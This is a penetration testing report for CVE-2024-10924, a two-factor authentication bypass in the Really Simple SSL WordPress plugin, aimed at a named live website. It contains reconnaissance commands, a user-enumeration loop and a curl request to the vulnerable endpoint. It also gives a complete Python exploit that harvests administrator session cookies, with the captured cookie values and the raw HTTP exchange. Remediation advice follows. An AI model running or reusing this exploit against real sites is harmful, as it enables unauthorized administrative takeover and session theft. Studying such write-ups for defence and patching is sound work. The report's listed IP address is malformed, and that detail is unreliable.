
Penetration testing report and exploit for CVE-2024-10924, a 2FA bypass in Really Simple SSL, including reconnaissance, exploitation, and remediation guidance.
Target: https://skior.co
Vulnerability: CVE-2024-10924 - 2FA Bypass in Really Simple SSL Plugin
Severity: Critical (CVSS Score: 9.8)
Status: Successfully Exploited
Discovery Date: 2025-06-25
Report Version: 2.1
This penetration test discovered a critical authentication bypass vulnerability that allows unauthenticated attackers to gain administrative access to the WordPress site by bypassing two-factor authentication (2FA) controls.
This assessment followed a systematic black-box penetration testing methodology based on industry standards:

Identified Technologies:
└─$ whatweb https://skior.co
https://skior.co [200 OK] Country[UNITED STATES][US], HTML5, \
HTTPServer[Ubuntu Linux][nginx/1.26.0 (Ubuntu)], IP[123.456.789.200], \
JQuery[3.7.1],MetaGenerator[Elementor 3.29.2; \
features: additional_custom_breakpoints, e_local_google_fonts; \
settings: css_print_method-external, google_font-enabled, font_display-swap,\
WordPress 6.8.1], PHP[8.2.28], PoweredBy[Skior], \
Script[speculationrules,text/javascript], Title[Skior Technologies], \
UncommonHeaders[link], WordPress[6.8.1], X-Powered-By[PHP/8.2.28], nginx[1.26.0]
Key Findings:
└─$ curl -I https://skior.co/?author=1
HTTP/1.1 301 Moved Permanently
Server: nginx/1.26.0 (Ubuntu)
Date: Wed, 25 Jun 2025 18:12:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.2.28
X-Redirect-By: WordPress
Location: https://skior.co/author/pastor/
Discovered User: pastor (User ID: 1)
# Check for multiple users
for i in {1..10}; do
echo "Checking user ID: $i"
curl -s -o /dev/null -w "%{http_code}" "https://skior.co/?author=$i"
echo " - https://skior.co/?author=$i"
done
| User ID | Username | Status | Redirect URL |
|---|---|---|---|
| 1 | pastor | ✅ Found | /author/pastor/ |
| 2-10 | N/A | ❌ Not Found | 404 responses |
└─$ wpscan --url https://skior.co --api-token my-api-key
Scan Results Summary:
Note: WPScan did not detect the Really Simple SSL plugin, indicating it may be using obfuscation or custom naming.
└─$ curl -s https://skior.co/wp-json/ | jq '.routes | keys[]'
Discovered Custom Endpoints:
/reallysimplessl/v1/two_fa
/reallysimplessl/v1/two_fa/skip_onboarding
/reallysimplessl/v1/two_fa/do_not_ask_again
/reallysimplessl/v1/two_fa/resend_email_code
/reallysimplessl/v1/two_fa/save_default_method_email
/reallysimplessl/v1/two_fa/save_default_method_email_profile
/reallysimplessl/v1/two_fa/save_default_method_totp
/reallysimplessl/v1/two_fa/validate_email_setup
Critical Discovery: The /reallysimplessl/v1/two_fa/skip_onboarding endpoint appeared suspicious and warranted further investigation.
After discovering the custom REST API routes, external research revealed CVE-2024-10924, a critical vulnerability affecting the Really Simple SSL plugin.
CVE ID: CVE-2024-10924
CVSS Score: 9.8 (Critical)
Affected Plugin: Really Simple SSL
Vulnerability Type: Authentication Bypass
Attack Vector: REST API
Discovery Date: November 6, 2024
Public Disclosure: November 14, 2024
The vulnerability stems from improper user validation in the check_login_and_get_user function within the two-factor authentication REST API actions. The function fails to properly validate the login_nonce parameter, allowing attackers to:
// Simplified vulnerable code structure
function check_login_and_get_user($user_id, $login_nonce) {
// Missing proper validation of login_nonce
$user = get_user_by('ID', $user_id);
// No validation of login_nonce parameter
// This allows any value to be accepted
return $user; // Returns user object without verification
}
The following REST API endpoints are vulnerable:
/reallysimplessl/v1/two_fa/skip_onboarding/reallysimplessl/v1/two_fa/do_not_ask_again/reallysimplessl/v1/two_fa/resend_email_codeFor this vulnerability to be exploitable:
graph TD
A[Initial Reconnaissance] --> B[Technology Stack Identification]
B --> C[User Enumeration]
C --> D[Vulnerability Scanning]
D --> E[REST API Enumeration]
E --> F[Discovery of Really Simple SSL Endpoints]
F --> G[External Research]
G --> H[Identification of CVE-2024-10924]
H --> I[Manual Testing]
I --> J[Exploit Development]
J --> K[Successful Exploitation]
K --> L[Admin Access Obtained]
L --> M[Impact Assessment]
style A fill:#e1f5fe
style F fill:#fff3e0
style H fill:#ffebee
style K fill:#e8f5e8
style L fill:#f3e5f5First, we tested the endpoint manually to understand its behavior:
# Test the vulnerable endpoint
curl -X POST "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding" \
-H "Content-Type: application/json" \
-d '{
"user_id": 1,
"login_nonce": "invalid_nonce",
"redirect_to": "/wp-admin/"
}'
import requests
import urllib.parse
import sys
if len(sys.argv) != 2:
print("Usage: python exploit.py <user_id>")
sys.exit(1)
user_id = sys.argv[1]
url = "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
data = {
"user_id": int(user_id), # User ID from the argument
"login_nonce": "invalid_nonce", # Arbitrary value
"redirect_to": "/wp-admin/" # Target redirection
}
# Sending the POST request
response = requests.post(url, json=data)
# Checking the response
if response.status_code == 200:
print("Request successful!\n")
# Extracting cookies
cookies = response.cookies.get_dict()
count = 1
for name, value in cookies.items():
decoded_value = urllib.parse.unquote(value) # Decode the URL-encoded cookie value
print(f"Cookie {count}:")
print(f"Cookie Name: {name}")
print(f"Cookie Value: {decoded_value}\n")
count += 1
else:
print("Request failed!")
print(f"Status Code: {response.status_code}")
print(f"Response Text: {response.text}")
└─$ python exploit.py 1
Request successful!
Cookie 1:
Cookie Name: wordpress_sec_dc22060175d35fce22f69728c6799c9d
Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da
Cookie 2:
Cookie Name: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d
Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144

Above: Screenshot showing the cookie manipulation process using browser developer tools to add the captured WordPress session cookies.

Above: Screenshot confirming successful administrative access to the WordPress dashboard after exploiting the 2FA bypass vulnerability.
WordPress Security Cookie:
wordpress_sec_dc22060175d35fce22f69728c6799c9dpastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7dapastor1752234264 (Unix timestamp)GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxHcd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7daWordPress Logged-in Cookie:
wordpress_logged_in_dc22060175d35fce22f69728c6799c9dpastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144Complete Site Compromise
Data Exposure
Privilege Escalation
Content Manipulation
Data Theft
Persistence
Disable Really Simple SSL Plugin
# Via wp-cli (if available)
wp plugin deactivate really-simple-ssl
# Or manually rename plugin directory
mv wp-content/plugins/really-simple-ssl wp-content/plugins/really-simple-ssl.disabled
Update or Remove Plugin
Audit User Sessions
Security Hardening
Monitoring Implementation
Regular Security Assessments
Security Policy Updates
// Add to wp-config.php for enhanced security
define('DISALLOW_FILE_EDIT', true);
define('DISALLOW_FILE_MODS', true);
define('FORCE_SSL_ADMIN', true);
// Restrict REST API access
add_filter('rest_authentication_errors', function($result) {
if (!empty($result)) {
return $result;
}
if (!is_user_logged_in()) {
return new WP_Error('rest_not_logged_in',
'You are not currently logged in.',
array('status' => 401));
}
return $result;
});
// Additional security headers
add_action('send_headers', function() {
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: SAMEORIGIN');
header('X-XSS-Protection: 1; mode=block');
header('Referrer-Policy: strict-origin-when-cross-origin');
});
This penetration testing report is for educational and authorized security assessment purposes only. The techniques and tools described should only be used against systems you own or have explicit permission to test. Unauthorized testing may violate laws and regulations.
Responsible Disclosure: This vulnerability has been reported to the plugin developers and WordPress security team.
Disclaimer: The information provided in this report is based on the assessment conducted at the time of testing. Security landscapes change rapidly, and additional vulnerabilities may exist that were not discovered during this assessment.
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: skior.co
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
{
"user_id": 1,
"login_nonce": "invalid_nonce",
"redirect_to": "/wp-admin/"
}
HTTP/1.1 200 OK
Server: nginx/1.26.0 (Ubuntu)
Date: Wed, 25 Jun 2025 18:15:30 GMT
Content-Type: text/html; charset=UTF-8
Set-Cookie: wordpress_sec_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da; path=/; secure; HttpOnly
Set-Cookie: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144; path=/
Report generated on: 2025-06-25
Security Researcher
Version: 2.1
Last updated: 2025-06-25
| Risk Level | Probability | Impact | Mitigation Priority |
|---|
| Critical | High | Complete System Compromise | Immediate |
| High | Medium | Data Breach | High |
| Medium | Low | Service Disruption | Medium |
| Field | Value |
|---|
| Domain | https://skior.co |
| IP Address | 123.456.789.200 |
| Server | nginx/1.26.0 (Ubuntu) |
| PHP Version | 8.2.28 |
| CMS | WordPress 6.8.1 |
| Vulnerable Plugin | Really Simple SSL |
| Geographic Location | United States |
| Hosting Provider | Professional hosting (likely VPS/Dedicated) |
| Date/Time | Event | Details |
|---|
| 2025-06-25 14:02 | Initial Reconnaissance | Wappalyzer analysis completed |
| 2025-06-25 14:05 | Technology Stack Identified | WordPress 6.8.1, nginx, PHP 8.2.28 |
| 2025-06-25 14:10 | User Enumeration | Discovered user "pastor" (ID: 1) |
| 2025-06-25 14:15 | WPScan Analysis | No known vulnerabilities found |
| 2025-06-25 14:20 | REST API Enumeration | Discovered Really Simple SSL endpoints |
| 2025-06-25 14:25 | Vulnerability Research | Identified CVE-2024-10924 |
| 2025-06-25 14:30 | Manual Testing | Confirmed vulnerability existence |
| 2025-06-25 14:35 | Exploit Development | Created Python proof-of-concept |
| 2025-06-25 14:40 | Successful Exploitation | Obtained admin access |
| 2025-06-25 14:45 | Impact Assessment | Documented potential damage |
| 2025-06-25 15:00 | Report Generation | Comprehensive documentation |
| Factor | Score | Justification |
|---|
| Access Complexity | Low (1.0) | Simple HTTP request |
| Authentication | None (0.0) | No authentication required |
| Integrity Impact | High (1.0) | Complete system compromise |
| Confidentiality Impact | High (1.0) | Full data access |
| Availability Impact | High (1.0) | Can disable site |
| Impact Category | Severity | Description |
|---|
| Financial | High | Potential revenue loss, legal costs |
| Reputational | Critical | Brand damage, customer trust loss |
| Operational | High | Service disruption, data loss |
| Compliance | High | Regulatory violations, audit failures |
| Solution | Pros | Cons | Recommendation |
|---|
| Let's Encrypt | Free, automated | Manual setup | ✅ Recommended |
| Cloudflare | Easy setup, DDoS protection | Requires DNS change | ✅ Good option |
| Hosting Provider SSL | Integrated | May have limitations | ⚠️ Check features |
| Manual SSL | Full control | Complex setup | ❌ Not recommended |
| Term | Definition |
|---|
| 2FA | Two-Factor Authentication |
| CVSS | Common Vulnerability Scoring System |
| REST API | Representational State Transfer Application Programming Interface |
| WAF | Web Application Firewall |
| XSS | Cross-Site Scripting |
| CSRF | Cross-Site Request Forgery |